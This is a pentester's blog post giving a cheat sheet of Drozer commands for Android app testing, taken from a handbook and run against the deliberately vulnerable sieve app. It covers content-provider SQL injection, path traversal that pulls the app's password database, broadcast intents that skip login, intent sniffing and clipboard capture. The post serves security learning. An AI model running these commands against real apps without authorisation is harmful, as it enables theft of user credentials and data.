Android Pentesting CheatSheet

I'm leading the Research at Credshields, and Pentest teams at Cobalt Labs and HackerOne. I occasionally blog about my findings and adventures in pentesting.
Search for a command to run...

I'm leading the Research at Credshields, and Pentest teams at Cobalt Labs and HackerOne. I occasionally blog about my findings and adventures in pentesting.
No comments yet. Be the first to comment.
Overview During a recent pentest of an iOS health application (let's call it MedVault), I came across something interesting. The app was using custom URL schemes for deep linking but had no Universal

Analysis and PoC of Damn Vulnerable DeFi Level 06 - Selfie

Analysis and PoC of Damn Vulnerable DeFi Level 05 - The Rewarder

Analysis and PoC of Damn Vulnerable DeFi Level 04 - Side Entrance

Analysis and PoC of Damn Vulnerable DeFi Level 03 - Truster

This post contains a list of commands which can be used with Drozer, a tool for pentesting Android applications.
All of the commands have been taken from Mobile Application Hackers Handbook. It is one of the best Books out there to start with Android Pentesting. This is just a gist of what the book has to offer.
Most of the commands are carried out for an example android app developed by MWR Infosecurity called as sieve(com.mwr.example.sieve). Both Drozer and sieve can be download from https://labs.f-secure.com/tools/drozer/
The commands have been divided into categories based on what they do.
dz> run app.package.list -f Sievedz> run app.package.manifest com.mwr.example.sievedz> run app.package.attacksurface com.mwr.example.sievedz> run app.activity.info -a com.mwr.example.sievedz> run app.package.launchintent com.mwr.example.sievedz> run app.activity.start --component <package_name> <full_activity_name>dz> run app.provider.info -a com.mwr.example.sievedz> run app.provider.finduri com.mwr.example.sievedz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwordsdz> run app.provider.insert content://com.mwr.example.sieve.DBContentProvider/Passwords --integer _id 3 --string service Facebook --string username tyrone --string password zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T --string email tyrone@gmail.comdz> run app.package.list -p android.permission.INSTALL_PACKAGESdz> run app.package.list -u 1000dz> run app.activity.forintent --action android.intent.action.VIEW --mimetype application/pdfdz> run scanner.activity.browsableTo find the name of the launch activity examine the application’s manifest or use theapp.package.launchintent module in drozer. You can also launch the main activity from drozer using theapp.activity.start module.
Always look for (((android:targetActivity)))=".someactivity" to find proxied activities.
Search for filterTouchesWhenObscured to find if vulnerable to tapjacking or not.
Try to access /Keys/ instead of /Keys, it sometimes bypasses pattern-matching in content URI's.
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "'"dz> run scanner.provider.sqltables -a content://com.mwr.example.sieve.DBContentProvider/Passwordsdz> run auxiliary.webcontentresolver -p 9999dz> run scanner.provider.injectiondz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/system/etc/hostsdz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../../../data/data/com.mwr.example.sieve/databases/database.db >database.db
dz> run scanner.provider.traversal -a content://com.mwr.example.sieve.FileBackupProviderdz> run app.service.info -a com.mwr.example.sievedz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-objdz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 3452 2 3 --extra string com.mwr.example.sieve.KEY testpassword --extra string com.mwr.example.sieve.STRING "string to be encrypted" --bundle-as-objThe parameters passed in
--msgare extra parameters. Analyze code and use the parameters mentioned there, and add extra till 3 parameters are completed.--msgexpects three parameters.
Fetch Broadcast Receiversdz> run app.broadcast.info -a com.mwr.example.browser
If an app expects a broadcast receiver to catch an intent and then show authenticated activities, generation of that broadcast is only possible after login. But after code review, an attacker can manually send that intent using drozer.
Sample broadcast receiver:
<receiver android:name=".LoginReceiver"
android:exported="true">
<intent-filter>
<action android:name="com.myapp.CORRECT_CREDS" />
</intent-filter>
</receiver>
dz> run app.broadcast.send --action com.myapp.CORRECT_CREDS
(Page 217 - MAHH)
Intent Sniffing/Catching intents using broadcast receivers which were meant for other Broadcast Receiversdz> run app.broadcast.sniff --action android.intent.action.BATTERY_CHANGEDdz> run app.broadcast.sniff --action com.myapp.USER_LOGIN (name of action sending the broadcast)
Using drozer module to find if a WebView is exploitable or notdz> run scanner.misc.checkjavascriptbridge -a com.vulnerable.js
Viewing copied texts from Clipboarddz> run post.capture.clipboard
Finding if app allows its data to be backed updz> run app.package.backup -f com.mwr.example.sieve
Finding if a package is debuggable or notdz> run app.package.debuggable -f sieve
You can run commands as that app if it is debuggableshell@android:/ $ run-as com.mwr.example.sieve
Exploitation: WebView Remote Code Execution
$ java -jar apktool.jar d com.joeykrim.rootcheck.apk rootcheck $ java -jar apktool.jar b rootcheck/ rootcheck-modified.apk $ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystoremykey.keystore rootcheck-modified.apk alias_nameNote: Use jarsigner v1.6, change the version with$ sudo update-alternatives --config jarsigner
Look for openOrCreateDatabase() function in source code, it's used by SQLCipher to store key to encrypt DB.
SQLiteDatabase database = SQLiteDatabase. **openOrCreateDatabase** (databaseFile, "test123", null);Check for onReceivedSslError. function in the code, it tells the WebView to ignore SSL errors and proceed with the connection. Can be used by attackers to read or completely change the content being displayed to users. (Page 232 )
Look for setAllowUniversalAccessFromFileURLs option set to true , can allow attackers to load their files inside WebViews.
Always look for WebView or addJavaScriptInterface keywords in code, can be used to exploit further.